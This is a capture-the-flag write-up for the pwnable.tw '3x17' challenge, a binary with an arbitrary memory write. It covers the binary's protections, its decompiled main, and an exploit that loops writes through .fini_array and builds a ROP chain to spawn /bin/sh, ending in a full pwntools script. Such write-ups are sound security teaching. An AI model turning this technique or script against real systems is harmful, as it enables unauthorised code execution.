3x17 - pwnable.tw
18/12/2025
pwn | pwnable.tw
Challenge Description
File type
$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
Binary Protection
$ checksec 3x17
[*] './3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Background
3x17allows user to write any data to an arbitrary memory address.
$ ./3x17
addr:123
data:abc
- The program reads input memory address from user and uses
readfunction to write user's data to that memory address
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)atoll(buf);
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 ) // exits if overflow happens
sub_44A3E0();
return result;
}
- Constraints: The maximum length of data from user allowed is 0x18
Exploitation
General Idea
- Because this binary file is statically linked and stripped, we don't have any clue about which address need to be write into GOT entry. Instead, we should exploit the termination process.
- After
mainfunction returns, the program continues to call__libc_csu_finiwhich executes each funtion in.fini_arraysection from the last one to the first one. There are 2 addresses of functions in.fini_arraysection:
Disassembly of section .fini_array:
00000000004b40f0 <.fini_array>:
4b40f0: 00 1b add BYTE PTR [rbx],bl
4b40f2: 40 00 00 rex add BYTE PTR [rax],al
4b40f5: 00 00 add BYTE PTR [rax],al
4b40f7: 00 80 15 40 00 00 add BYTE PTR [rax+0x4015],al
4b40fd: 00 00 add BYTE PTR [rax],al
...
- The idea is to write the address of
mainfunction and__libc_csu_finifunction into this array so that we can do arbitrary write more than once. This helps us write more data than the length limit of the input data inmainfunction. - After that, we need to construct a ROP chain and write it right into
.fini_arraysection sincerbpwill point to the first element of.fini_array.
Get Shell
- ROP chain is:
leave
ret
|
pop rax
ret
|
pop rdi
ret
|
pop rsi
ret
|
pop rdx
ret
|
syscall
- The first 2 ROP gadgets will be placed in 2 elements of
.fini_array, and the other will be written to the subsequent addresses. Therefore, to maintain the 'loop' arbitrary write process before actually getting shell, we should write 2 those ROP addresses in the end.
Exploit Code
from pwn import *
import utils
context.terminal = "kitty"
context.log_level = "debug"
context.arch = "amd64"
TARGET = "./bin/3x17"
target = process(TARGET)
# target = remote("chall.pwnable.tw", 10105)
gdb.attach(target, gdbscript="b *(0x401ba3)")
exe = ELF(TARGET)
libc = exe.libc
rop = ROP(exe)
def get_address(index: int):
fini_array_addr = 0x4b40f0
return fini_array_addr + index * 8
target.sendafter(b"addr:", str(get_address(0)).encode())
libc_csu_fini_addr = 0x402960
main_addr = 0x401b6d
payload = p64(libc_csu_fini_addr) + p64(main_addr) + p64(59)
target.sendafter(b"data:", payload)
target.sendafter(b"addr:", str(get_address(3)).encode())
pop_rdi_addr = 0x401696
pop_rsi_addr = 0x406c30
payload = p64(pop_rdi_addr) + p64(get_address(10)) + p64(pop_rsi_addr)
target.sendafter(b"data:", payload)
target.sendafter(b"addr:", str(get_address(6)).encode())
pop_rdx_addr = 0x446e35
payload = b'\x00' * 8 + p64(pop_rdx_addr) + b'\x00' * 8
target.sendafter(b"data:", payload)
target.sendafter(b"addr:", str(get_address(9)).encode())
syscall_addr = 0x4022b4
payload = p64(syscall_addr) + b'/bin/sh\x00'
target.sendafter(b"data", payload)
target.sendafter(b"addr:", str(get_address(0)).encode())
pop_rax_addr = 0x41e4af
leave_addr = 0x401c4b
payload = p64(leave_addr) + p64(pop_rax_addr)
target.sendafter(b"data:", payload)
target.interactive()